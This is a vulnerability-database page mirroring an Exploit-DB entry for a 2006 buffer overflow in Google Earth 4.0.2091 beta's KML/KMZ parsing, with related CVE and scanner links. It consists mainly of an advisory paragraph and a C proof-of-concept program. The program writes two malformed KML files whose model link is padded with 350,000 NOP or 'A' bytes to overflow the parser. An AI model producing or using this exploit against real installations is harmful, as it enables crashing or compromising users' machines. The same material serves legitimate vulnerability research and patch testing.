Lucene search
+L

Google Earth 4.0.2091 (Beta) - '.KML'/'.KMZ' Buffer Overflow

🗓️ 14 Sep 2006 00:00:00Reported by JAAScoisType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 26 Views

Google Earth 4.0.2091 (Beta) '.KML'/'KMZ' Buffer Overflow vulnerability in JAAScois tes

Related
Code
ReporterTitlePublishedViews
Family
cve
CVE
CVE-2006-7157
7 Mar 200720:00
cve
cvelist
Cvelist
CVE-2006-7157
7 Mar 200720:00
cvelist
euvd
EUVD
EUVD-2006-7139
7 Oct 202500:30
euvd
nessus
Tenable Nessus
FreeBSD : google-earth -- heap overflow in the KML engine (5c9a2769-5ade-11db-a5ae-00508d6a62df)
19 Apr 200700:00
nessus
kaspersky
Kaspersky
KLA10178 DoS vulnerability in Google Earth
7 Mar 200700:00
kaspersky
nvd
NVD
CVE-2006-7157
7 Mar 200720:19
nvd
openvas
OpenVAS
FreeBSD Ports: google-earth
4 Sep 200800:00
openvas
openvas
OpenVAS
FreeBSD Ports: google-earth
4 Sep 200800:00
openvas
// source: https://www.securityfocus.com/bid/20464/info

Google Earth is prone to a buffer-overflow vulnerability because the application to properly verify the size of user-supplied data before copying it into an insufficiently sized process buffer.

This issue allows remote attackers to execute arbitrary machine code in the context of the user running the affected application. Failed exploit attempts will likely crash applications, denying service to legitimate users.

Google Earth version v4.0.2091(beta) is vulnerable to this issue.

///////////////////////////////////////////////
// Google Earth (kml & kmz files) buffer overflow
// by JAAScois [ http://www.jaascois.com ]
// Test on: Google Earth v4.0.2091(beta) Sep 14 2006
///////////////////////////////////////////////
#include <stdio.h>
#include <string.h>
char xmlHdr[]="<?xml version=\'1.0\' encoding=\'UTF-8\'?>\n<kml
xmlns=\'http://earth.google.com/kml/2.1\'>\n<Placemark><name>By:
JAAScois.com</name><Model><Link><href>";
char xmlHdr2[]="</href></Link></Model></Placemark></kml>";
int main(int argc, char* argv[])
{
FILE *Gkml;
FILE *GkmlX;
int i;
unsigned char nop;
printf("Google Earth (kml & kmz files) buffer overflow \n");
printf(" by JAAScois [ http://www.jaascois.com ]\n");

// Gkml.kml
Gkml=fopen("Gkml.kml","w+b");
if(Gkml==NULL){
printf("-Error: fopen \n");
return 0;
}

fwrite(xmlHdr,strlen(xmlHdr),1,Gkml);
nop=0x90;
for(i=0;i<350000;i++){
fwrite(&nop,1,1,Gkml);
}
fwrite(xmlHdr2,strlen(xmlHdr2),1,Gkml);
fclose (Gkml);

// GkmlX.kml
GkmlX=fopen("GkmlX.kml","w+b");
if(GkmlX==NULL){
printf("-Error: fopen \n");
return 0;
}

fwrite(xmlHdr,strlen(xmlHdr),1,GkmlX);
nop=0x41;
for(i=0;i<350000;i++){
fwrite(&nop,1,1,GkmlX);
}
fwrite(xmlHdr2,strlen(xmlHdr2),1,GkmlX);
fclose (GkmlX);

printf("- Created file: Gkml.kml ...OK\n");
return 0;
}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

08 Oct 2013 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.1
EPSS0.07296
26